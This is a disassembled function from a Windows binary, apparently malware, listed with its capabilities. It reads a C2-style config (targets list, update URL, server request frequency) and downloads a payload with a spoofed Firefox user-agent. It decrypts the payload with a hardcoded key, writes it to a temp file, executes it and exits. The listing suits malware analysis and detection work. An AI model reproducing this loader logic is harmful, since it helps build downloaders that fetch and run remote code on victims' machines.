Function at 0x14000c6f0
Capabilities:
Create process on windows
Create thread
Get common file path
Reference http user-agent string
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xf10
xor r13d, r13d
mov dword [rsp + 0xf58], r13d
mov dword [rax + 8], 0x3e80
lea r9d, [r13 + 4]
lea r8, [rax + 8]
lea edx, [r13 + 0x49]
xor ecx, ecx
call qword [sym.imp.wininet.dll_InternetSetOptionA]
mov dword [rsp + 0xf50], 0x3e80
lea r9d, [r13 + 4]
lea r8, [rsp + 0xf50]
lea edx, [r13 + 0x4a]
xor ecx, ecx
call qword [sym.imp.wininet.dll_InternetSetOptionA]
mov dword [rsp + 0xf68], 0x7d0
mov dword [rsp + 0xf60], 0x7d0
lea r9d, [r13 + 4]
lea r8, [rsp + 0xf60]
lea edx, [r13 + 5]
xor ecx, ecx
call qword [sym.imp.wininet.dll_InternetSetOptionA]
test eax, eax
je 0x14000c798
lea r9d, [r13 + 4]
lea r8, [rsp + 0xf68]
lea edx, [r13 + 6]
xor ecx, ecx
call qword [sym.imp.wininet.dll_InternetSetOptionA]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_CreateMutexA]
mov qword [0x140640e90], rax
call qword [sym.imp.kernel32.dll_GetCurrentThread]
mov edx, 2
mov rcx, rax
call qword [sym.imp.kernel32.dll_SetThreadPriority]
lea r14, [0x14002f19a]
call fcn.140008c20
lea rcx, [0x140542620]
call qword [sym.imp.kernel32.dll_lstrlenA]
test eax, eax
jne 0x14000c7ea
mov ecx, 0x1d4c0
call qword [sym.imp.kernel32.dll_Sleep]
jmp 0x14000c7c7
mov ecx, 0x19000
call fcn.140019570
mov r12, rax
mov qword [rsp + 0xf60], rax
mov dword [rsp + 0x50], r13d
mov rcx, rax
call fcn.140009330
mov dword [rsp + 0x50], eax
jmp 0x14000c828
test eax, eax
je 0x14000d04c
test r12, r12
jne 0x14000c83a
mov rbx, r13
jmp 0x14000c85f
mov rdx, 0xffffffffffffffff
inc rdx
cmp byte [r12 + rdx], 0
jne 0x14000c841
inc rdx
xor r9d, r9d
xor r8d, r8d
mov rcx, r12
call fcn.140001f40
mov rbx, rax
test rbx, rbx
je 0x14000c8dd
xor r8d, r8d
lea rdx, str.targets_list
mov rcx, rbx
call fcn.140003550
mov rcx, rax
call fcn.140009940
nop
test rbx, rbx
je 0x14000c8dd
mov rdi, qword [rbx]
test dword [rbx + 0x18], 0x100
jne 0x14000c8b7
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x14000c89f
call fcn.140001290
test dword [rbx + 0x18], 0x100
jne 0x14000c8b7
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x14000c8b7
call qword [0x140541160]
test dword [rbx + 0x18], 0x200
jne 0x14000c8cf
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x14000c8cf
call qword [0x140541160]
mov rcx, rbx
call qword [0x140541160]
mov rbx, rdi
jmp 0x14000c880
test r12, r12
jne 0x14000c8e7
mov rsi, r13
jmp 0x14000c90e
mov rdx, 0xffffffffffffffff
nop
inc rdx
cmp byte [r12 + rdx], 0
jne 0x14000c8f0
inc rdx
xor r9d, r9d
xor r8d, r8d
mov rcx, r12
call fcn.140001f40
mov rsi, rax
test rsi, rsi
je 0x14000cf0b
mov r8d, 1
lea rdx, str.update_version
mov rcx, rsi
call fcn.140003550
test rax, rax
jne 0x14000c991
mov rbx, qword [rsi]
test dword [rsi + 0x18], 0x100
jne 0x14000c963
mov rcx, qword [rsi + 0x10]
test rcx, rcx
je 0x14000c94b
call fcn.140001290
test dword [rsi + 0x18], 0x100
jne 0x14000c963
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14000c963
call qword [0x140541160]
test dword [rsi + 0x18], 0x200
jne 0x14000c97b
mov rcx, qword [rsi + 0x38]
test rcx, rcx
je 0x14000c97b
call qword [0x140541160]
mov rcx, rsi
call qword [0x140541160]
mov rsi, rbx
test rbx, rbx
jne 0x14000c931
jmp 0x14000cf0b
movsd xmm0, qword [rax + 0x30]
comisd xmm0, xmmword [0x1400308c8]
jbe 0x14000ceb0
mov r8d, 1
lea rdx, str.update_url
mov rcx, rsi
call fcn.140003550
mov ecx, r13d
test rax, rax
je 0x14000c9c8
cmp byte [rax + 0x18], 0x10
sete cl
test ecx, ecx
je 0x14000ceb0
mov rbx, qword [rax + 0x20]
test rbx, rbx
je 0x14000ceb0
xor edx, edx
mov r8d, 0x500
lea rcx, [rsp + 0x510]
call fcn.14000f260
xor edx, edx
mov r8d, 0x500
lea rcx, [rsp + 0xa10]
call fcn.14000f260
lea rcx, str.http:__
call qword [sym.imp.kernel32.dll_lstrlenA]
movsxd rdi, eax
add rdi, rbx
lea rdx, [0x14002f1a8]
mov rcx, rdi
call qword [sym.imp.shlwapi.dll_StrStrIA]
mov rbx, rax
mov rdx, rax
lea rcx, [rsp + 0xa10]
call qword [sym.imp.kernel32.dll_lstrcpyA]
sub rbx, rdi
mov r8, rbx
mov rdx, rdi
lea rcx, [rsp + 0x510]
call fcn.14000fb70
lea rcx, [rsp + 0x510]
call qword [sym.imp.kernel32.dll_lstrlenA]
mov ecx, r13d
test eax, eax
setne cl
test ecx, ecx
jne 0x14000cad0
nop
mov rbx, qword [rsi]
test dword [rsi + 0x18], 0x100
jne 0x14000caa2
mov rcx, qword [rsi + 0x10]
test rcx, rcx
je 0x14000ca8a
call fcn.140001290
test dword [rsi + 0x18], 0x100
jne 0x14000caa2
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14000caa2
call qword [0x140541160]
test dword [rsi + 0x18], 0x200
jne 0x14000caba
mov rcx, qword [rsi + 0x38]
test rcx, rcx
je 0x14000caba
call qword [0x140541160]
mov rcx, rsi
call qword [0x140541160]
mov rsi, rbx
test rbx, rbx
jne 0x14000ca70
jmp 0x14000cf0b
mov ecx, 0x1000001
call fcn.140019570
mov rbx, rax
xor edx, edx
mov r8d, 0x1000000
mov rcx, rax
call fcn.14000f260
mov dword [rsp + 0x48], r13d
mov dword [rsp + 0x40], 0x23be
mov dword [rsp + 0x38], r13d
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x1000000
mov qword [rsp + 0x20], r14
lea r9, str.Mozilla_5.0__Windows_NT_10.0__rv:78.0__Gecko_20100101_Firefox_78.0
lea r8, [rsp + 0xa10]
lea rdx, [rsp + 0x510]
mov ecx, 5
call fcn.140007b30
mov r14d, eax
cmp eax, 0x1b58
jae 0x14000cba4
mov rcx, rbx
call fcn.140016c14
mov rbx, qword [rsi]
test dword [rsi + 0x18], 0x100
jne 0x14000cb76
mov rcx, qword [rsi + 0x10]
test rcx, rcx
je 0x14000cb5e
call fcn.140001290
test dword [rsi + 0x18], 0x100
jne 0x14000cb76
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14000cb76
call qword [0x140541160]
test dword [rsi + 0x18], 0x200
jne 0x14000cb8e
mov rcx, qword [rsi + 0x38]
test rcx, rcx
je 0x14000cb8e
call qword [0x140541160]
mov rcx, rsi
call qword [0x140541160]
mov rsi, rbx
test rbx, rbx
jne 0x14000cb44
jmp 0x14000cf0b
mov edx, r13d
lea rcx, [rbx + 2]
mov r8, 0xfffffffffffffffe
sub r8, rbx
movzx eax, byte [rcx - 2]
test al, al
je 0x14000cbe2
cmp al, 0xd
jne 0x14000cbd1
cmp byte [rcx - 1], 0xa
jne 0x14000cbd1
cmp byte [rcx], al
jne 0x14000cbd1
cmp byte [rcx + 1], 0xa
je 0x14000cbe2
inc edx
inc rcx
lea rax, [r8 + rcx]
cmp rax, 0x10000
jl 0x14000cbb5
cmp edx, 0x10000
jl 0x14000cbf3
movsxd rax, edx
cmp byte [rax + rbx], 0
je 0x14000cbfb
lea edi, [rdx + 4]
cmp edi, 5
jge 0x14000cc63
mov rcx, rbx
call fcn.140016c14
mov rbx, qword [rsi]
test dword [rsi + 0x18], 0x100
jne 0x14000cc35
mov rcx, qword [rsi + 0x10]
test rcx, rcx
je 0x14000cc1d
call fcn.140001290
test dword [rsi + 0x18], 0x100
jne 0x14000cc35
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14000cc35
call qword [0x140541160]
test dword [rsi + 0x18], 0x200
jne 0x14000cc4d
mov rcx, qword [rsi + 0x38]
test rcx, rcx
je 0x14000cc4d
call qword [0x140541160]
mov rcx, rsi
call qword [0x140541160]
mov rsi, rbx
test rbx, rbx
jne 0x14000cc03
jmp 0x14000cf0b
mov ecx, 0x1000000
call fcn.140019570
mov r15, rax
movsd xmm0, qword [str.barabaka666]
movsd qword [rsp + 0x58], xmm0
mov ecx, dword [0x14002f680]
mov dword [rsp + 0x60], ecx
lea rcx, [rsp + 0x58]
call qword [sym.imp.kernel32.dll_lstrlenA]
mov r9d, eax
mov edx, r14d
sub edx, edi
sub edx, 0x1d81
movsxd rcx, edi
add rcx, 0x1d81
add rcx, rbx
mov qword [rsp + 0x20], r15
lea r8, [rsp + 0x58]
call fcn.140006ca0
mov rcx, rbx
call fcn.140016c14
xor edx, edx
mov r8d, 0x20a
lea rcx, [rsp + 0x300]
call fcn.14000f260
xor edx, edx
mov r8d, 0x20a
lea rcx, [rsp + 0xf0]
call fcn.14000f260
lea rdx, [rsp + 0x300]
mov ecx, 0x104
call qword [sym.imp.kernel32.dll_GetTempPathW]
lea r9, [rsp + 0xf0]
xor r8d, r8d
lea rdx, str.tlm
lea rcx, [rsp + 0x300]
call qword [sym.imp.kernel32.dll_GetTempFileNameW]
mov dword [rsp + 0xf60], r13d
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [rsp + 0xf0]
call qword [sym.imp.kernel32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14000cd66
mov eax, r13d
jmp 0x14000cd90
mov qword [rsp + 0x20], r13
lea r9, [rsp + 0xf60]
mov r8d, r14d
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.kernel32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
mov eax, 1
test eax, eax
je 0x14000ce9e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x84], xmm0
movups xmmword [rsp + 0x94], xmm0
movups xmmword [rsp + 0xa4], xmm0
movups xmmword [rsp + 0xb4], xmm0
movups xmmword [rsp + 0xc4], xmm0
movups xmmword [rsp + 0xd4], xmm0
mov dword [rsp + 0xe4], eax
mov dword [rsp + 0x80], 0x68
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0xf0]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_CreateProcessW]
test eax, eax
jne 0x14000ce95
nop
mov rbx, qword [rsi]
test dword [rsi + 0x18], 0x100
jne 0x14000ce62
mov rcx, qword [rsi + 0x10]
test rcx, rcx
je 0x14000ce4a
call fcn.140001290
test dword [rsi + 0x18], 0x100
jne 0x14000ce62
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14000ce62
call qword [0x140541160]
test dword [rsi + 0x18], 0x200
jne 0x14000ce7a
mov rcx, qword [rsi + 0x38]
test rcx, rcx
je 0x14000ce7a
call qword [0x140541160]
mov rcx, rsi
call qword [0x140541160]
mov rsi, rbx
test rbx, rbx
jne 0x14000ce30
mov rcx, r15
call fcn.140016c14
jmp 0x14000cf0b
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
mov rcx, r15
call fcn.140016c14
nop word [rax + rax]
mov rbx, qword [rsi]
test dword [rsi + 0x18], 0x100
jne 0x14000cee2
mov rcx, qword [rsi + 0x10]
test rcx, rcx
je 0x14000ceca
call fcn.140001290
test dword [rsi + 0x18], 0x100
jne 0x14000cee2
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14000cee2
call qword [0x140541160]
test dword [rsi + 0x18], 0x200
jne 0x14000cefa
mov rcx, qword [rsi + 0x38]
test rcx, rcx
je 0x14000cefa
call qword [0x140541160]
mov rcx, rsi
call qword [0x140541160]
mov rsi, rbx
test rbx, rbx
jne 0x14000ceb0
cmp dword [rsp + 0xf58], 0
jne 0x14000d04c
mov dword [rsp + 0xf58], r13d
lea rax, [rsp + 0xf58]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r13d
xor r9d, r9d
lea r8, [0x14000c020]
mov edx, 0xa000
xor ecx, ecx
call qword [sym.imp.kernel32.dll_CreateThread]
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.kernel32.dll_SetThreadPriority]
mov eax, dword [rsp + 0xf58]
mov dword [rsp + 0xf58], eax
jmp 0x14000d04c
test r12, r12
jne 0x14000d056
mov rbx, r13
jmp 0x14000d07e
mov rdx, 0xffffffffffffffff
nop dword [rax]
inc rdx
cmp byte [r12 + rdx], 0
jne 0x14000d060
inc rdx
xor r9d, r9d
xor r8d, r8d
mov rcx, r12
call fcn.140001f40
mov rbx, rax
test rbx, rbx
je 0x14000d10b
mov r8d, 1
lea rdx, str.serv_req_frequency
mov rcx, rbx
call fcn.140003550
test rax, rax
je 0x14000d0b0
mov eax, dword [rax + 0x28]
mov dword [0x140035b90], eax
nop word [rax + rax]
mov rdi, qword [rbx]
test dword [rbx + 0x18], 0x100
jne 0x14000d0e2
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x14000d0ca
call fcn.140001290
test dword [rbx + 0x18], 0x100
jne 0x14000d0e2
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x14000d0e2
call qword [0x140541160]
test dword [rbx + 0x18], 0x200
jne 0x14000d0fa
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x14000d0fa
call qword [0x140541160]
mov rcx, rbx
call qword [0x140541160]
mov rbx, rdi
test rdi, rdi
jne 0x14000d0b0
imul ecx, dword [0x140035b90], 0x3e8
call qword [sym.imp.kernel32.dll_Sleep]
mov rcx, r12
call fcn.140016c14
jmp 0x14000c7c0